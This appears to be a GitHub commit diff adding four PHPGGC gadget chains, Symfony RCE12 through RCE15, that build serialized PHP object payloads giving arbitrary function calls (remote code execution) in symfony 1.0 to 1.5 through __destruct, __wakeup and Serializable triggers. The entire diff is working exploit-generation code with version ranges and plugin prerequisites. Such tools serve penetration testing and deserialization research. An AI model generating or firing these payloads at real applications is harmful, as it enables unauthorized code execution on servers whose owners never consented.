File tree Expand file tree Collapse file tree 8 files changed +218
-0
lines changed
Expand file tree Collapse file tree 8 files changed +218
-0
lines changed Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace GadgetChain \Symfony ;
4+
5+ class RCE12 extends \PHPGGC \GadgetChain \RCE \FunctionCall
6+ {
7+ public static $ version = '1.3.0 <= 1.5.13~17 ' ;
8+ public static $ vector = '__destruct ' ;
9+ public static $ author = 'darkpills ' ;
10+ public static $ information = 'Works until 1.5.13, and until 1.5.17 if installed via git method (not composer) ' ;
11+
12+ public function generate (array $ parameters )
13+ {
14+ $ cacheKey = "1 " ;
15+ $ keys = new \sfOutputEscaperArrayDecorator ($ parameters ['function ' ], array ($ cacheKey => $ parameters ['parameter ' ]));
16+
17+ // a rmdir($path . '/' $cacheKey) will be done by Swift_KeyCache_DiskKeyCache::clearAll()
18+ // so put something that will never exists to avoid issues
19+ $ path = "thispathshouldneverexists " ;
20+ $ cache = new \Swift_KeyCache_DiskKeyCache ($ keys , $ path );
21+
22+ return $ cache ;
23+ }
24+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ class Swift_KeyCache_DiskKeyCache
4+ {
5+ private $ _path ;
6+
7+ private $ _keys = array ();
8+
9+ public function __construct ($ keys , $ path ) {
10+ $ this ->_keys = $ keys ;
11+ $ this ->_path = $ path ;
12+ }
13+ }
14+
15+ class sfOutputEscaperArrayDecorator
16+ {
17+ protected $ value ;
18+
19+ protected $ escapingMethod ;
20+
21+ public function __construct ($ escapingMethod , $ value ) {
22+ $ this ->escapingMethod = $ escapingMethod ;
23+ $ this ->value = $ value ;
24+ }
25+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace GadgetChain \Symfony ;
4+
5+ class RCE13 extends \PHPGGC \GadgetChain \RCE \FunctionCall
6+ {
7+ public static $ version = '1.2.0 <= 1.2.12 ' ;
8+ public static $ vector = 'Serializable ' ;
9+ public static $ author = 'darkpills ' ;
10+ public static $ information = 'Requires sfDoctrinePlugin to be enabled ' ;
11+
12+ public function generate (array $ parameters )
13+ {
14+ $ escaper = new \sfOutputEscaperArrayDecorator ($ parameters ['function ' ], array ($ parameters ['parameter ' ]));
15+ $ pager = new \sfDoctrinePager ($ escaper );
16+
17+ return $ pager ;
18+ }
19+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ class sfDoctrinePager implements Serializable
4+ {
5+ protected
6+ $ prop = null ;
7+
8+ public function __construct ($ prop ) {
9+ $ this ->prop = $ prop ;
10+ }
11+
12+ public function serialize ()
13+ {
14+ return serialize ($ this ->prop );
15+ }
16+
17+ public function unserialize ($ serialized )
18+ {
19+ }
20+ }
21+
22+ class sfOutputEscaperArrayDecorator
23+ {
24+ protected $ value ;
25+
26+ protected $ escapingMethod ;
27+
28+ public function __construct ($ escapingMethod , $ value ) {
29+ $ this ->escapingMethod = $ escapingMethod ;
30+ $ this ->value = $ value ;
31+ }
32+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace GadgetChain \Symfony ;
4+
5+ class RCE14 extends \PHPGGC \GadgetChain \RCE \FunctionCall
6+ {
7+ public static $ version = '1.2.0 <= 1.2.12 ' ;
8+ public static $ vector = '__wakeup ' ;
9+ public static $ author = 'darkpills ' ;
10+ public static $ information = 'Requires sfPropelPlugin to be enabled ' ;
11+
12+ public function generate (array $ parameters )
13+ {
14+ $ escaper = new \sfOutputEscaperObjectDecorator ($ parameters ['function ' ], new \sfCultureInfo ($ parameters ['parameter ' ]));
15+ $ date = new \PropelDateTime (null , $ escaper );
16+
17+ return $ date ;
18+ }
19+ }
Original file line number Diff line number Diff line change 1+ <?php
2+ class PropelDateTime extends DateTime
3+ {
4+ private $ dateString ;
5+
6+ private $ tzString ;
7+
8+ public function __construct ($ dateString , $ tzString ) {
9+ $ this ->dateString = $ dateString ;
10+ $ this ->tzString = $ tzString ;
11+ }
12+ }
13+
14+
15+ class sfOutputEscaperObjectDecorator
16+ {
17+ protected $ value ;
18+
19+ protected $ escapingMethod ;
20+
21+ public function __construct ($ escapingMethod , $ value ) {
22+ $ this ->escapingMethod = $ escapingMethod ;
23+ $ this ->value = $ value ;
24+ }
25+ }
26+
27+ class sfCultureInfo
28+ {
29+ protected $ dataFileExt = '.dat ' ;
30+ protected $ data = array ();
31+ protected $ culture ;
32+ protected $ dataDir ;
33+ protected $ dataFiles = array ();
34+ protected $ dateTimeFormat ;
35+ protected $ numberFormat ;
36+ protected $ properties = array ();
37+
38+ public function __construct ($ culture ) {
39+ $ this ->culture = $ culture ;
40+ }
41+
42+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace GadgetChain \Symfony ;
4+
5+ class RCE15 extends \PHPGGC \GadgetChain \RCE \FunctionCall
6+ {
7+ public static $ version = '1.0.0 <= 1.1.9 ' ;
8+ public static $ vector = '__wakeup ' ;
9+ public static $ author = 'darkpills ' ;
10+ public static $ information = 'With Creole ORM ' ;
11+
12+ public function generate (array $ parameters )
13+ {
14+ $ escaper = new \sfOutputEscaperArrayDecorator ($ parameters ['function ' ], array ($ parameters ['parameter ' ]));
15+ $ tableInfo = new \MySQLiTableInfo ($ escaper );
16+
17+ return $ tableInfo ;
18+ }
19+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ class sfOutputEscaperArrayDecorator
4+ {
5+ protected $ value ;
6+
7+ protected $ escapingMethod ;
8+
9+ public function __construct ($ escapingMethod , $ value ) {
10+ $ this ->escapingMethod = $ escapingMethod ;
11+ $ this ->value = $ value ;
12+ }
13+ }
14+
15+ class MySQLiTableInfo
16+ {
17+
18+ protected $ name ;
19+ protected $ columns = array ();
20+ protected $ foreignKeys = array ();
21+ protected $ indexes = array ();
22+ protected $ primaryKey ;
23+ protected $ pkLoaded = false ;
24+ protected $ fksLoaded = false ;
25+ protected $ indexesLoaded = false ;
26+ protected $ colsLoaded = false ;
27+ protected $ vendorLoaded = false ;
28+ protected $ vendorSpecificInfo = array ();
29+ protected $ conn ;
30+ protected $ database ;
31+ protected $ dblink ;
32+ protected $ dbname ;
33+
34+ public function __construct ($ columns )
35+ {
36+ $ this ->columns = $ columns ;
37+ }
38+ }
You can’t perform that action at this time.
0 commit comments